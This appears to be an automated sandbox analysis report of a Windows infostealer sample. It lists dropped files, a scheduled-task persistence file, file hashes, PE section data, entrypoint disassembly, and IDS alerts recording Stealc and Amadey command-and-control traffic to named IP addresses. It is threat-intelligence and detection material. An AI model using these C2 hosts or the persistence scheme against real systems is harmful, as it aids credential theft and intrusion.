SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\DocumentsHIEHDHCFIJ.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1843712
Entropy (8bit):	7.947644111786327
Encrypted:	false
SSDEEP:	49152:nHFaJdOn16Mp9hamBcxdgirXtyBik8CqX/odohVgmaH:n8a16+3dKdgiAva/hVg
MD5:	333366F899B1211C3259144ABEB6E7D0
SHA1:	B0CD88A3CFB3153A6F40682143B7872ED7ABB0A5
SHA-256:	F6B3275A6874DFAE98DD683FF84C5D9894A17D86EB45C1CF0B621AD54A680580
SHA-512:	9697D94EF6F11FCEE853BC3615FD3441BC39A529A9EB5A18F8BA81D719485AC3119F260E93B62F90F4F0521E23851C508E12AE258BA29CF914DD1B3F8D3CD1F5
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................H...........@.......................... I.....N!....@.................................W...k.......H.....................H.............................@.H..................................................... . ............................@....rsrc...H...........................@....idata ............................@... . ).........................@...fgmhzlms....../.....................@...jvwcxzdp......H.....................@....taggant.0....H.."..................@...................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\DocumentsHIEHDHCFIJ.exe
File Type:	data
Category:	dropped
Size (bytes):	302
Entropy (8bit):	3.430811455623399
Encrypted:	false
SSDEEP:	6:URBbbXUhXUEZ+lX1CGdKUe6tE9+AQy0lBxl/pt0:URBbr4Q1CGAFD9+nVBj/pt0
MD5:	E683100129EC2C95D180A6CD5418579E
SHA1:	FAE8C3FF3119A1353EDEF22531EA303D5C097746
SHA-256:	B2BCD03002B7EB1BF0D663222625BA40097D1684871EB6B450291DFEC62444E9
SHA-512:	F5E48170CB99E299015A02218FE7A3671CF5AE089C0D027F4EAB299F951A7BCCCD669119A456C976796E2B8E4063BC757F6AF580AEAD53F866275AEEA5A13C23
Malicious:	false
Preview:	.....s.L...J.N.i...*F.......<... .....s.......... ....................;.C.:.\.U.s.e.r.s.\.e.n.g.i.n.e.e.r.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........E.N.G.I.N.E.E.R.-.P.C.\.e.n.g.i.n.e.e.r...................0.................,.@3P.........................

Chrome Cache Entry: 505

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (760)
Category:	downloaded
Size (bytes):	765
Entropy (8bit):	5.1443098166061985
Encrypted:	false
SSDEEP:	12:u7vzZEZjHxHBtHXSQaBHslriFTAYsSw7sZAnIIIIIII5wuCPXIwuGHHHHHHHYZw9:GzgH3SQaBHslgT9lCuABuoB7HHHHHHHJ
MD5:	C1ED23A68FA9F28D45CFDC3664BA774B
SHA1:	DD4B2FDE459FA842CA0D9FFB81BA5EF3EF3DA0F2
SHA-256:	9B2A5C75861855DA51F935E8E095614EF8C12F8522E6DC47CCE24DCA0AEACD7D
SHA-512:	9199CF9BC1A534B41F1EEDD5F9660BC3BE9ADC406A8D4E267F838B2A22AF5E5822E5D60312AC8572C686C52D044AEF5E813D7B88381A6B9DAC2F5CE6948FE8A7
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["arcane jinx fixes everything act 2 code","magnetic north pole moving","amusement park ride stuck","mets baseball","boeing layoffs","game awards nominations","nyt connections hints","koht alabama football"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002}],"google:suggestrelevance":[1257,1256,1255,1254,1253,1252,1251,1250],"google:suggestsubtypes":[[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362]],"google:suggesttype":["QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY"]}]

Chrome Cache Entry: 506

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2586)
Category:	downloaded
Size (bytes):	175021
Entropy (8bit):	5.5519862292821776
Encrypted:	false
SSDEEP:	3072:kEBR0Kx4gWiUIzT2Zu2AuhZNsWGUHUylZBTftnn2N2DIWHUm1CBT46mG3bXnejYR:kKR0oWiUIzy42AuXNsWGUHLlZBTftn2b
MD5:	6ECBEC06F6245882E6D9659E66022263
SHA1:	F86FC301A3851511557DF798AD2BAD2AA4659946
SHA-256:	F7885470D82B8357E5AD03205AC0885DD9FD6F965E550D746627E5E35D4CF66B
SHA-512:	F2EDD978C9DC289B82DC0956503659B92C3B621DD1001DB2C5C34ACA01FFCDE7F84A6B24ED0B30A1EA6B15D937B6DD93FAE1DB97DCE26E9F9FCE1A3F5C43A8DD
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US._3uvDuX1Bhg.2019.O/rt=j/m=q_dnp,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTus2ZfPv70D5bJuGT4XDgi-VtNqjg"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.Yi=function(a){if(4&a)return 4096&a?4096:8192&a?8192:0};_.Zi=class extends _.Q{constructor(){super()}};.}catch(e){_._DumpException(e)}.try{.var $i,aj,ej,hj,gj,cj,fj;$i=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};aj=function(){_.Na()};ej=function(a,b){(_.bj\|\|(_.bj=new cj)).set(a,b);(_.dj\|\|(_.dj=new cj)).set(b,a)};hj=function(a){if(fj===void 0){const b=new gj([],{});fj=Array.prototype.concat.call([],b).length===1}fj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.ij=function(a,b,c){a=_.tb(a,b,c);return Array.isArray(a)?a:_.Fc};._.jj=function(a,b){a=(2&b?a\|2:a&-3)\|32;return a&=-2049};_.kj=function(a,b){a===0&&(a=_.jj(a,b));return a\|1};_.lj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.mj=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.pj=function(a,b,c,d,e,f,g){a=a.ha;var h=!!(2&b);e=h?1:e;f=!!f;g&&(g=!h);h=_.ij(a,b,d);var k=h[_

Chrome Cache Entry: 507

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 508

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	132981
Entropy (8bit):	5.435243876027419
Encrypted:	false
SSDEEP:	3072:fokXyPqO7UX1Hme9kZbs4Voc50SnXqwQ2i6o:fzyWFHrp4Voc50SnawQ8o
MD5:	200E7A769B69B68DC15902B03BD880E1
SHA1:	E3D82D9C525298749800C2EBCC7CE0267E0D1809
SHA-256:	D9DABD7253BA702FB81DD2378660B3F1EFD620A4AB145868A5015581549E7CD7
SHA-512:	D436C09E71349EA2B91A51A0E1D3D52D562B8E3FFAB8DC8805DBECD1FBFCDA6B5F9010510CE91D3BCF25E055F2EE34F1CF5F6C952DEA761E1F36710400FB5C47
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 509

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.zyyRgCCaN80.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTs4SLbgh5FvGZPW_Ny7TyTdXfy6xA"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 510

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.945142653990403
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'814'528 bytes
MD5:	1fb763b01e1ffa3ab02b53ce4b2a88fd
SHA1:	881d6869788ced3bb3be507abea78f569af3775e
SHA256:	f98936eaa24f4c5b0339ad375b53e45e505c9c65cef4480cff417157252f77b4
SHA512:	c714e1043a8a0121ff30ba80a19fd11a61dab6494f760474e433487a21eeec8fcf5af56b3514e00723d348538920d94ff57edd8ba7b75308ae490c4bc4c54023
SSDEEP:	49152:o4nWwEYIzjyQPfn/n6+iAUtcyZX8kpTelD48i:oWkqif/n6DADAskTSDRi
TLSH:	5085335316F5795AED26AAFBE42E5F7037B0B63F82A8C8F6070D8114A4B717668F3110
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8...k...k...k..'k...k...k...k..&k...k...k...k...k...k...j...k...k...k..#k...k...k...kRich...k........................PE..L..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xa9a000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x672FC34F [Sat Nov 9 20:17:19 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F6AC4E41BBAh
jng 00007F6AC4E41BD1h
add byte ptr [eax], al
jmp 00007F6AC4E43BB5h
add byte ptr [edx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx+ecx], al
add byte ptr [eax], al
add cl, byte ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, 0Ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+00h], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x24b04d	0x61	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x24a000	0x1ac	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x24b1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x249000	0x16200	513b6234d25d5bc33515c85d40bbd64a	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x24a000	0x1ac	0x200	da38b1f2d04a579fbff275564040f5dd	False	0.58203125	data	4.543441910327368	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x24b000	0x1000	0x200	0d0399d83a742d5d86c5718841e8e842	False	0.134765625	data	0.8646718654202081	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x24c000	0x2ab000	0x200	6a0dc6129bb6c99be567788c3cfd89b8	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
sjsqvlga	0x4f7000	0x1a2000	0x1a1200	91cb7c867922db486b75e519def32e9a	False	0.9948857038507641	data	7.954571117904994	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
nddwszlt	0x699000	0x1000	0x400	27f61714235211e5f3c09e66eb27fdf1	False	0.822265625	data	6.346322212627995	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x69a000	0x3000	0x2200	bc13d2cd12a7dc1ba245848d68ce44e7	False	0.08042279411764706	DOS executable (COM)	0.8083304280273801	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x698068	0x152	ASCII text, with CRLF line terminators			0.6479289940828402

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-20T14:43:11.056508+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	49715	185.215.113.206	80	TCP
2024-11-20T14:43:11.527560+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.6	49715	185.215.113.206	80	TCP
2024-11-20T14:43:11.648847+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.6	49715	TCP
2024-11-20T14:43:12.001759+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.6	49715	185.215.113.206	80	TCP
2024-11-20T14:43:12.123100+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.6	49715	TCP
2024-11-20T14:43:13.664220+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.6	49715	185.215.113.206	80	TCP
2024-11-20T14:43:14.512360+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49715	185.215.113.206	80	TCP
2024-11-20T14:43:38.471875+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49800	185.215.113.206	80	TCP
2024-11-20T14:43:40.437158+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49800	185.215.113.206	80	TCP
2024-11-20T14:43:41.870374+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49800	185.215.113.206	80	TCP
2024-11-20T14:43:43.111948+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49800	185.215.113.206	80	TCP
2024-11-20T14:43:46.782028+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49800	185.215.113.206	80	TCP
2024-11-20T14:43:47.951939+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49800	185.215.113.206	80	TCP
2024-11-20T14:43:53.673153+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49939	185.215.113.16	80	TCP
2024-11-20T14:45:06.790568+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.6	50115	185.215.113.43	80	TCP
2024-11-20T14:45:10.289917+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.6	50122	TCP
2024-11-20T14:45:11.674672+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50127	62.60.153.28	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 20, 2024 14:43:00.069993019 CET	443	49707	20.198.119.84	192.168.2.6
Nov 20, 2024 14:43:00.073054075 CET	49707	443	192.168.2.6	20.198.119.84
Nov 20, 2024 14:43:00.073256969 CET	49707	443	192.168.2.6	20.198.119.84
Nov 20, 2024 14:43:00.073395967 CET	49707	443	192.168.2.6	20.198.119.84
Nov 20, 2024 14:43:00.132711887 CET	443	49706	20.190.177.22	192.168.2.6
Nov 20, 2024 14:43:00.132813931 CET	443	49706	20.190.177.22	192.168.2.6
Nov 20, 2024 14:43:00.132972956 CET	49706	443	192.168.2.6	20.190.177.22
Nov 20, 2024 14:43:00.136817932 CET	443	49706	20.190.177.22	192.168.2.6
Nov 20, 2024 14:43:00.136835098 CET	443	49706	20.190.177.22	192.168.2.6
Nov 20, 2024 14:43:00.136888981 CET	49706	443	192.168.2.6	20.190.177.22
Nov 20, 2024 14:43:00.145134926 CET	443	49706	20.190.177.22	192.168.2.6
Nov 20, 2024 14:43:00.145153046 CET	443	49706	20.190.177.22	192.168.2.6
Nov 20, 2024 14:43:00.145205975 CET	49706	443	192.168.2.6	20.190.177.22
Nov 20, 2024 14:43:00.153274059 CET	443	49706	20.190.177.22	192.168.2.6
Nov 20, 2024 14:43:00.153454065 CET	443	49706	20.190.177.22	192.168.2.6
Nov 20, 2024 14:43:00.153517962 CET	49706	443	192.168.2.6	20.190.177.22
Nov 20, 2024 14:43:00.161472082 CET	443	49706	20.190.177.22	192.168.2.6
Nov 20, 2024 14:43:00.161648035 CET	443	49706	20.190.177.22	192.168.2.6
Nov 20, 2024 14:43:00.161700964 CET	49706	443	192.168.2.6	20.190.177.22
Nov 20, 2024 14:43:00.182688951 CET	49706	443	192.168.2.6	20.190.177.22
Nov 20, 2024 14:43:00.183069944 CET	49706	443	192.168.2.6	20.190.177.22
Nov 20, 2024 14:43:00.183114052 CET	49708	443	192.168.2.6	20.190.177.22
Nov 20, 2024 14:43:00.183197021 CET	443	49708	20.190.177.22	192.168.2.6
Nov 20, 2024 14:43:00.183298111 CET	49708	443	192.168.2.6	20.190.177.22
Nov 20, 2024 14:43:00.183485031 CET	49708	443	192.168.2.6	20.190.177.22
Nov 20, 2024 14:43:00.183504105 CET	443	49708	20.190.177.22	192.168.2.6
Nov 20, 2024 14:43:00.193691015 CET	443	49707	20.198.119.84	192.168.2.6
Nov 20, 2024 14:43:00.193830967 CET	443	49707	20.198.119.84	192.168.2.6
Nov 20, 2024 14:43:00.193974972 CET	443	49707	20.198.119.84	192.168.2.6
Nov 20, 2024 14:43:00.302453041 CET	443	49706	20.190.177.22	192.168.2.6
Nov 20, 2024 14:43:00.302668095 CET	443	49706	20.190.177.22	192.168.2.6
Nov 20, 2024 14:43:00.302683115 CET	443	49706	20.190.177.22	192.168.2.6
Nov 20, 2024 14:43:00.302726984 CET	443	49706	20.190.177.22	192.168.2.6
Nov 20, 2024 14:43:00.302782059 CET	443	49706	20.190.177.22	192.168.2.6
Nov 20, 2024 14:43:00.626108885 CET	443	49707	20.198.119.84	192.168.2.6
Nov 20, 2024 14:43:00.667453051 CET	49707	443	192.168.2.6	20.198.119.84
Nov 20, 2024 14:43:00.777404070 CET	443	49706	20.190.177.22	192.168.2.6
Nov 20, 2024 14:43:00.777439117 CET	443	49706	20.190.177.22	192.168.2.6
Nov 20, 2024 14:43:00.777529001 CET	49706	443	192.168.2.6	20.190.177.22
